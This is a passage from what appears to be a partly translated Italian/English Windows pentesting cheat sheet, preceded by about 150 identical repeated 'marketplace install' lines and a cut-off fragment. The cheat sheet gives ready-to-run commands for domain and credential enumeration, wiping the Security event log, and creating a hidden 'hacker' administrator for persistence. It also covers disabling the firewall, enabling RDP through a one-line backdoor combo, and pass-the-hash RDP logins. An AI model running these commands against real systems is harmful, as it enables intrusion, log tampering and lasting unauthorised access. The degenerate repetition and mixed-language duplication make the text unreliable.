> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-host
|
||
```bash
|
||
# Generic AD info
|
||
echo %USERDOMAIN% #Get domain name
|
||
echo %USERDNSDOMAIN% #Get domain name
|
||
echo %logonserver% #Get name of the domain controller
|
||
set logonserver #Get name of the domain controller
|
||
set log #Get name of the domain controller
|
||
gpresult /V # Get current policy applied
|
||
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
|
||
|
||
# Users
|
||
dsquery user #Get all users
|
||
net user /domain #List all users of the domain
|
||
net user <ACCOUNT_NAME> /domain #Get information about that user
|
||
net accounts /domain #Password and lockout policy
|
||
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
|
||
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
|
||
|
||
# Groups
|
||
net group /domain #List of domain groups
|
||
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
|
||
net group "Domain Admins" /domain #List users with domain admin privileges
|
||
net group "domain computers" /domain #List of PCs connected to the domain
|
||
net group "Domain Controllers" /domain #List PC accounts of domains controllers
|
||
wmic group list /format:list # Information about all local groups
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
|
||
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
|
||
|
||
# Computers
|
||
dsquery computer #Get all computers
|
||
net view /domain #Lis of PCs of the domain
|
||
nltest /dclist:<DOMAIN> #List domain controllers
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
|
||
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
|
||
|
||
# Trust relations
|
||
nltest /domain_trusts #Mapping of the trust relationships
|
||
|
||
# Get all objects inside an OU
|
||
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
|
||
````
|
||
|
||
#### Registri ed eventi
|
||
|
||
I registri ed eventi sono strumenti essenziali per la risoluzione dei problemi e l'analisi delle attività di un sistema operativo Windows. Forniscono informazioni dettagliate sulle azioni eseguite dal sistema e dagli utenti. I registri ed eventi possono essere utilizzati anche per rilevare attività sospette o potenziali violazioni della sicurezza.
|
||
|
||
**Visualizzare i registri ed eventi**
|
||
|
||
Per visualizzare i registri ed eventi in Windows, è possibile utilizzare il comando `eventvwr.msc` dal prompt dei comandi. Questo comando aprirà la console degli eventi, dove è possibile esaminare i diversi registri ed eventi disponibili.
|
||
|
||
**Filtrare i registri ed eventi**
|
||
|
||
Per filtrare i registri ed eventi in base a determinati criteri, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando filtra gli eventi del registro di sicurezza che corrispondono all'ID evento 4624 (accesso riuscito):
|
||
|
||
```
|
||
wevtutil qe Security "/q:*[System[(EventID=4624)]]"
|
||
```
|
||
|
||
**Pulire i registri ed eventi**
|
||
|
||
Per pulire i registri ed eventi in Windows, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando pulisce tutti gli eventi del registro di sicurezza:
|
||
|
||
```
|
||
wevtutil cl Security
|
||
```
|
||
|
||
**Monitorare i registri ed eventi in tempo reale**
|
||
|
||
Per monitorare i registri ed eventi in tempo reale, è possibile utilizzare il comando `powershell` insieme al cmdlet `Get-WinEvent`. Ad esempio, il seguente comando monitora gli eventi del registro di sicurezza in tempo reale:
|
||
|
||
```
|
||
powershell -c "Get-WinEvent -LogName Security -MaxEvents 10 -Wait"
|
||
```
|
||
|
||
**Estrarre i registri ed eventi**
|
||
|
||
Per estrarre i registri ed eventi in un file di testo, è possibile utilizzare il comando `wevtutil`. Ad esempio, il seguente comando estrae gli eventi del registro di sicurezza in un file di testo chiamato "security\_events.txt":
|
||
|
||
```
|
||
wevtutil epl Security security_events.txt
|
||
```
|
||
|
||
```bash
|
||
#Make a security query using another credentials
|
||
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
|
||
```
|
||
|
||
### Utenti e Gruppi
|
||
|
||
#### Utenti
|
||
|
||
```plaintext
|
||
# List all users
|
||
net user
|
||
|
||
# Get detailed information about a specific user
|
||
net user <username>
|
||
|
||
# Create a new user
|
||
net user <username> <password> /add
|
||
|
||
# Delete a user
|
||
net user <username> /delete
|
||
|
||
# Disable a user account
|
||
net user <username> /active:no
|
||
|
||
# Enable a disabled user account
|
||
net user <username> /active:yes
|
||
|
||
# Change a user's password
|
||
net user <username> <new_password>
|
||
|
||
# Add a user to a group
|
||
net localgroup <group_name> <username> /add
|
||
|
||
# Remove a user from a group
|
||
net localgroup <group_name> <username> /delete
|
||
```
|
||
|
||
#### Gruppi
|
||
|
||
```plaintext
|
||
# List all groups
|
||
net localgroup
|
||
|
||
# Get detailed information about a specific group
|
||
net localgroup <group_name>
|
||
|
||
# Create a new group
|
||
net localgroup <group_name> /add
|
||
|
||
# Delete a group
|
||
net localgroup <group_name> /delete
|
||
|
||
# Add a user to a group
|
||
net localgroup <group_name> <username> /add
|
||
|
||
# Remove a user from a group
|
||
net localgroup <group_name> <username> /delete
|
||
```
|
||
|
||
```bash
|
||
#Me
|
||
whoami /all #All info about me, take a look at the enabled tokens
|
||
whoami /priv #Show only privileges
|
||
|
||
# Local users
|
||
net users #All users
|
||
dir /b /ad "C:\Users"
|
||
net user %username% #Info about a user (me)
|
||
net accounts #Information about password requirements
|
||
wmic USERACCOUNT Get Domain,Name,Sid
|
||
net user /add [username] [password] #Create user
|
||
|
||
# Other users looged
|
||
qwinsta #Anyone else logged in?
|
||
|
||
#Lauch new cmd.exe with new creds (to impersonate in network)
|
||
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
|
||
|
||
#Check current logon session as administrator using logonsessions from sysinternals
|
||
logonsessions.exe
|
||
logonsessions64.exe
|
||
```
|
||
|
||
#### Gruppi
|
||
|
||
Gruppi are used to organize users with similar permissions and access rights. In Windows, each user is assigned to one or more groups, and these groups determine what resources and actions the user can access.
|
||
|
||
**Built-in Groups**
|
||
|
||
Windows has several built-in groups that are created automatically during the installation process. These groups have predefined permissions and are commonly used to manage access to system resources.
|
||
|
||
* **Administrators**: This group has full control over the system and can perform any administrative task.
|
||
* **Users**: This group includes all standard users who can perform common tasks but have limited administrative privileges.
|
||
* **Guests**: This group provides limited access to the system and is typically used for temporary or untrusted users.
|
||
* **Power Users**: This group has more privileges than standard users but fewer than administrators. They can perform certain administrative tasks.
|
||
* **Backup Operators**: Members of this group can perform backup and restore operations on the system.
|
||
* **Print Operators**: Members of this group can manage printers and print jobs.
|
||
* **Remote Desktop Users**: Members of this group can access the system remotely using Remote Desktop.
|
||
* **Network Configuration Operators**: Members of this group can manage network configuration settings.
|
||
* **Performance Monitor Users**: Members of this group can monitor performance counters on the system.
|
||
* **Cryptographic Operators**: Members of this group can perform cryptographic operations.
|
||
|
||
**Creating and Managing Groups**
|
||
|
||
To create a new group, you can use the `net localgroup` command followed by the group name. For example, to create a group named "TestGroup", you would run the following command:
|
||
|
||
```
|
||
net localgroup TestGroup /add
|
||
```
|
||
|
||
To add a user to a group, you can use the `net localgroup` command followed by the group name and the username. For example, to add the user "TestUser" to the "TestGroup", you would run the following command:
|
||
|
||
```
|
||
net localgroup TestGroup TestUser /add
|
||
```
|
||
|
||
To remove a user from a group, you can use the `net localgroup` command followed by the group name and the username. For example, to remove the user "TestUser" from the "TestGroup", you would run the following command:
|
||
|
||
```
|
||
net localgroup TestGroup TestUser /delete
|
||
```
|
||
|
||
To delete a group, you can use the `net localgroup` command followed by the group name. For example, to delete the "TestGroup", you would run the following command:
|
||
|
||
```
|
||
net localgroup TestGroup /delete
|
||
```
|
||
|
||
**Group Policy Objects (GPOs)**
|
||
|
||
Group Policy Objects (GPOs) are a powerful tool for managing group membership and permissions in a Windows domain. GPOs allow administrators to define and enforce security policies across multiple computers and users.
|
||
|
||
GPOs can be used to control various aspects of group management, such as adding or removing users from groups, configuring group permissions, and applying group policies to specific users or computers.
|
||
|
||
To manage GPOs, you can use the Group Policy Management Console (GPMC) or the `gpupdate` command-line tool. GPOs are stored in the Active Directory and are applied to users and computers when they log in to the domain.
|
||
|
||
**Summary**
|
||
|
||
Groups are an essential part of Windows security and access control. They allow administrators to organize users and manage their permissions effectively. By understanding how groups work and how to create and manage them, you can enhance the security of your Windows systems.
|
||
|
||
```bash
|
||
#Local
|
||
net localgroup #All available groups
|
||
net localgroup Administrators #Info about a group (admins)
|
||
net localgroup administrators [username] /add #Add user to administrators
|
||
|
||
#Domain
|
||
net group /domain #Info about domain groups
|
||
net group /domain <domain_group_name> #Users that belongs to the group
|
||
```
|
||
|
||
#### Elencare le sessioni
|
||
|
||
Per visualizzare le sessioni attive su un sistema Windows, è possibile utilizzare il comando `query session` o `qwinsta`. Questi comandi mostrano le informazioni sulle sessioni degli utenti, come l'ID della sessione, lo stato, il nome dell'utente e il tipo di sessione.
|
||
|
||
```
|
||
qwinsta
|
||
klist sessions
|
||
```
|
||
|
||
#### Politica delle password
|
||
|
||
La politica delle password è un insieme di regole che definiscono i requisiti per la creazione e l'utilizzo delle password. Queste regole sono progettate per garantire la sicurezza delle password e prevenire accessi non autorizzati ai sistemi.
|
||
|
||
Le seguenti sono alcune delle regole comuni che possono essere incluse nella politica delle password:
|
||
|
||
* Lunghezza minima della password: specifica il numero minimo di caratteri richiesti per una password.
|
||
* Complessità della password: richiede l'utilizzo di una combinazione di lettere maiuscole e minuscole, numeri e caratteri speciali.
|
||
* Scadenza della password: specifica il periodo dopo il quale una password deve essere cambiata.
|
||
* Storico delle password: impedisce l'utilizzo di password precedenti.
|
||
* Blocco dell'account: blocca l'account dopo un numero specifico di tentativi di accesso falliti.
|
||
|
||
È importante seguire la politica delle password per garantire la sicurezza dei sistemi e dei dati sensibili.
|
||
|
||
```
|
||
net accounts
|
||
```
|
||
|
||
#### Credenziali
|
||
|
||
Credentials, or login credentials, are the information used to authenticate and verify the identity of a user or system. They typically consist of a username and password, although other forms of authentication, such as biometrics or security tokens, can also be used.
|
||
|
||
Le credenziali, o credenziali di accesso, sono le informazioni utilizzate per autenticare e verificare l'identità di un utente o di un sistema. Di solito sono composte da un nome utente e una password, anche se possono essere utilizzate altre forme di autenticazione, come la biometria o i token di sicurezza.
|
||
|
||
```bash
|
||
cmdkey /list #List credential
|
||
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
|
||
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
|
||
```
|
||
|
||
#### Persistenza con gli utenti
|
||
|
||
**Creazione di un nuovo utente**
|
||
|
||
Per ottenere persistenza su un sistema Windows, è possibile creare un nuovo utente con privilegi di amministratore. Questo utente può essere utilizzato per accedere al sistema in futuro, anche se le credenziali degli altri utenti vengono modificate o rimosse.
|
||
|
||
Per creare un nuovo utente, è possibile utilizzare il comando `net user` seguito dal nome utente desiderato e dalla password. Ad esempio:
|
||
|
||
```plaintext
|
||
net user hacker P@ssw0rd123 /add
|
||
```
|
||
|
||
**Aggiunta di un utente a un gruppo**
|
||
|
||
Per ottenere privilegi aggiuntivi su un sistema Windows, è possibile aggiungere un utente a un gruppo con privilegi speciali, come il gruppo degli amministratori. In questo modo, l'utente avrà accesso a risorse e funzionalità che normalmente non sarebbero disponibili.
|
||
|
||
Per aggiungere un utente a un gruppo, è possibile utilizzare il comando `net localgroup` seguito dal nome del gruppo e dal nome utente. Ad esempio, per aggiungere l'utente "hacker" al gruppo degli amministratori:
|
||
|
||
```plaintext
|
||
net localgroup administrators hacker /add
|
||
```
|
||
|
||
**Utilizzo di Scheduled Tasks**
|
||
|
||
Un'altra tecnica per ottenere persistenza su un sistema Windows è utilizzare le "Scheduled Tasks" (attività pianificate). Queste attività possono essere programmate per eseguire comandi o script in determinati momenti o eventi.
|
||
|
||
Per creare una nuova attività pianificata, è possibile utilizzare il comando `schtasks` seguito dai parametri appropriati. Ad esempio, per creare un'attività che esegue un comando ogni volta che il sistema viene avviato:
|
||
|
||
```plaintext
|
||
schtasks /create /sc onstart /tn "MyTask" /tr "C:\path\to\command.exe"
|
||
```
|
||
|
||
**Modifica del registro di sistema**
|
||
|
||
Il registro di sistema di Windows contiene informazioni e impostazioni importanti per il funzionamento del sistema. Modificando determinate chiavi di registro, è possibile ottenere persistenza su un sistema Windows.
|
||
|
||
Per modificare il registro di sistema, è possibile utilizzare il comando `reg` seguito dai parametri appropriati. Ad esempio, per aggiungere un valore alla chiave di registro "Run" in modo che un programma venga eseguito all'avvio del sistema:
|
||
|
||
```plaintext
|
||
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "MyProgram" /d "C:\path\to\program.exe" /f
|
||
```
|
||
|
||
**Utilizzo di servizi di Windows**
|
||
|
||
I servizi di Windows sono programmi che vengono eseguiti in background e forniscono funzionalità specifiche al sistema operativo. Modificando o creando nuovi servizi, è possibile ottenere persistenza su un sistema Windows.
|
||
|
||
Per creare un nuovo servizio, è possibile utilizzare il comando `sc` seguito dai parametri appropriati. Ad esempio, per creare un servizio che esegue un programma all'avvio del sistema:
|
||
|
||
```plaintext
|
||
sc create MyService binPath= "C:\path\to\program.exe" start= auto
|
||
```
|
||
|
||
**Conclusioni**
|
||
|
||
La persistenza con gli utenti è una tecnica comune utilizzata dai pentester per mantenere l'accesso a un sistema Windows. Creare nuovi utenti, aggiungere utenti a gruppi, utilizzare le attività pianificate, modificare il registro di sistema e utilizzare i servizi di Windows sono solo alcune delle tecniche disponibili. È importante comprendere queste tecniche per poterle rilevare e mitigare efficacemente.
|
||
|
||
```bash
|
||
# Add domain user and put them in Domain Admins group
|
||
net user username password /ADD /DOMAIN
|
||
net group "Domain Admins" username /ADD /DOMAIN
|
||
|
||
# Add local user and put them local Administrators group
|
||
net user username password /ADD
|
||
net localgroup Administrators username /ADD
|
||
|
||
# Add user to insteresting groups:
|
||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||
net localgroup "Debugger users" UserLoginName /add
|
||
net localgroup "Power users" UserLoginName /add
|
||
```
|
||
|
||
### Rete
|
||
|
||
#### Interfacce, Percorsi, Porte, Host e Cache DNS
|
||
|
||
Le informazioni relative alle interfacce di rete, ai percorsi di rete, alle porte aperte, agli host e alla cache DNS possono essere utili per l'analisi e l'esplorazione di una rete.
|
||
|
||
**Interfacce di rete**
|
||
|
||
Per visualizzare le informazioni sulle interfacce di rete, è possibile utilizzare il comando `ipconfig`:
|
||
|
||
```plaintext
|
||
ipconfig /all
|
||
```
|
||
|
||
Questo comando mostrerà le informazioni dettagliate su tutte le interfacce di rete presenti nel sistema.
|
||
|
||
**Percorsi di rete**
|
||
|
||
Per visualizzare i percorsi di rete, è possibile utilizzare il comando `route`:
|
||
|
||
```plaintext
|
||
route print
|
||
```
|
||
|
||
Questo comando mostrerà la tabella dei percorsi di rete, inclusi i percorsi predefiniti e quelli specifici.
|
||
|
||
**Porte aperte**
|
||
|
||
Per visualizzare le porte aperte su un host, è possibile utilizzare il comando `netstat`:
|
||
|
||
```plaintext
|
||
netstat -ano
|
||
```
|
||
|
||
Questo comando mostrerà le porte aperte, gli indirizzi IP associati e i processi che le utilizzano.
|
||
|
||
**Host**
|
||
|
||
Per ottenere informazioni sugli host presenti nella rete, è possibile utilizzare il comando `arp`:
|
||
|
||
```plaintext
|
||
arp -a
|
||
```
|
||
|
||
Questo comando mostrerà la tabella ARP, che associa gli indirizzi IP agli indirizzi MAC degli host presenti nella rete.
|
||
|
||
**Cache DNS**
|
||
|
||
Per visualizzare la cache DNS, è possibile utilizzare il comando `ipconfig`:
|
||
|
||
```plaintext
|
||
ipconfig /displaydns
|
||
```
|
||
|
||
Questo comando mostrerà la cache DNS, che contiene le informazioni sui record DNS recentemente risolti.
|
||
|
||
```bash
|
||
ipconfig /all #Info about interfaces
|
||
route print #Print available routes
|
||
arp -a #Know hosts
|
||
netstat -ano #Opened ports?
|
||
type C:\WINDOWS\System32\drivers\etc\hosts
|
||
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
||
```
|
||
|
||
#### Firewall
|
||
|
||
Un firewall è un componente essenziale per la sicurezza di un sistema operativo. Esso funge da barriera tra la rete interna e quella esterna, controllando il traffico di rete in entrata e in uscita. Il firewall può essere configurato per consentire o bloccare specifici tipi di traffico, in base alle regole definite. Questo aiuta a proteggere il sistema da attacchi esterni e a prevenire la fuoriuscita non autorizzata di dati sensibili. È importante configurare correttamente il firewall e mantenere le regole aggiornate per garantire una protezione efficace.
|
||
|
||
```bash
|
||
netsh firewall show state # FW info, open ports
|
||
netsh advfirewall firewall show rule name=all
|
||
netsh firewall show config # FW info
|
||
Netsh Advfirewall show allprofiles
|
||
|
||
NetSh Advfirewall set allprofiles state off #Turn Off
|
||
NetSh Advfirewall set allprofiles state on #Trun On
|
||
netsh firewall set opmode disable #Turn Off
|
||
|
||
#How to open ports
|
||
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
|
||
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
|
||
netsh firewall add portopening TCP 3389 "Remote Desktop"
|
||
|
||
#Enable Remote Desktop
|
||
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
||
netsh firewall add portopening TCP 3389 "Remote Desktop"
|
||
::netsh firewall set service remotedesktop enable #I found that this line is not needed
|
||
::sc config TermService start= auto #I found that this line is not needed
|
||
::net start Termservice #I found that this line is not needed
|
||
|
||
#Enable Remote Desktop with wmic
|
||
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
|
||
##or
|
||
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
|
||
|
||
#Enable Remote assistance:
|
||
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
|
||
netsh firewall set service remoteadmin enable
|
||
|
||
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
|
||
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
|
||
|
||
::Connect to RDP (using hash or password)
|
||
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
|
||
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
|
||
```
|
||
|
||
#### Condivisioni
|
||
|
||
Le condivisioni sono risorse di rete accessibili da più dispositivi all'interno di una rete. Possono essere utilizzate per condividere file, cartelle o stampanti tra gli utenti. Le condivisioni possono essere identificate tramite il loro nome o il percorso di rete.
|
||
|
||
**Comandi utili**
|
||
|
||
* `net view` - Mostra l'elenco delle condivisioni disponibili sulla rete.
|
||
* `net use` - Consente di connettersi a una condivisione di rete specifica.
|
||
* `net share` - Visualizza le condivisioni locali sul proprio sistema.
|
||
* `net use * /delete` - Disconnette tutte le connessioni di rete attive.
|
||
* `net use <drive_letter>: /delete` - Disconnette una specifica connessione di rete.
|
||
|
||
**Esempi**
|
||
|
||
* `net view` - Mostra l'elenco delle condivisioni disponibili sulla rete.
|
||
* `net use \\server\share /user:<username> <password>` - Connette il proprio sistema a una specifica condivisione di rete utilizzando le credenziali specificate.
|
||
* `net share` - Visualizza le condivisioni locali sul proprio sistema.
|
||
* `net use * /delete` - Disconnette tutte le connessioni di rete attive.
|
||
* `net use Z: /delete` - Disconnette la connessione di rete associata alla lettera di unità Z.
|
||
|
||
```bash
|
||
net view #Get a list of computers
|
||
net view /all /domain [domainname] #Shares on the domains
|
||
net view \\computer /ALL #List shares of a computer
|
||
net use x: \\computer\share #Mount the share locally
|
||
net share #Check current shares
|
||
```
|
||
|
||
#### Wifi
|
||
|
||
Il Wi-Fi è una tecnologia che consente la connessione senza fili a una rete locale. È ampiamente utilizzato per l'accesso a Internet e per la condivisione di file e risorse all'interno di una rete domestica o aziendale.
|
||
|
||
**Scansione delle reti Wi-Fi**
|
||
|
||
Per individuare le reti Wi-Fi disponibili nelle vicinanze, è possibile utilizzare il comando `netsh` in Windows. Ecco come farlo:
|
||
|
||
```plaintext
|
||
netsh wlan show networks
|
||
```
|
||
|
||
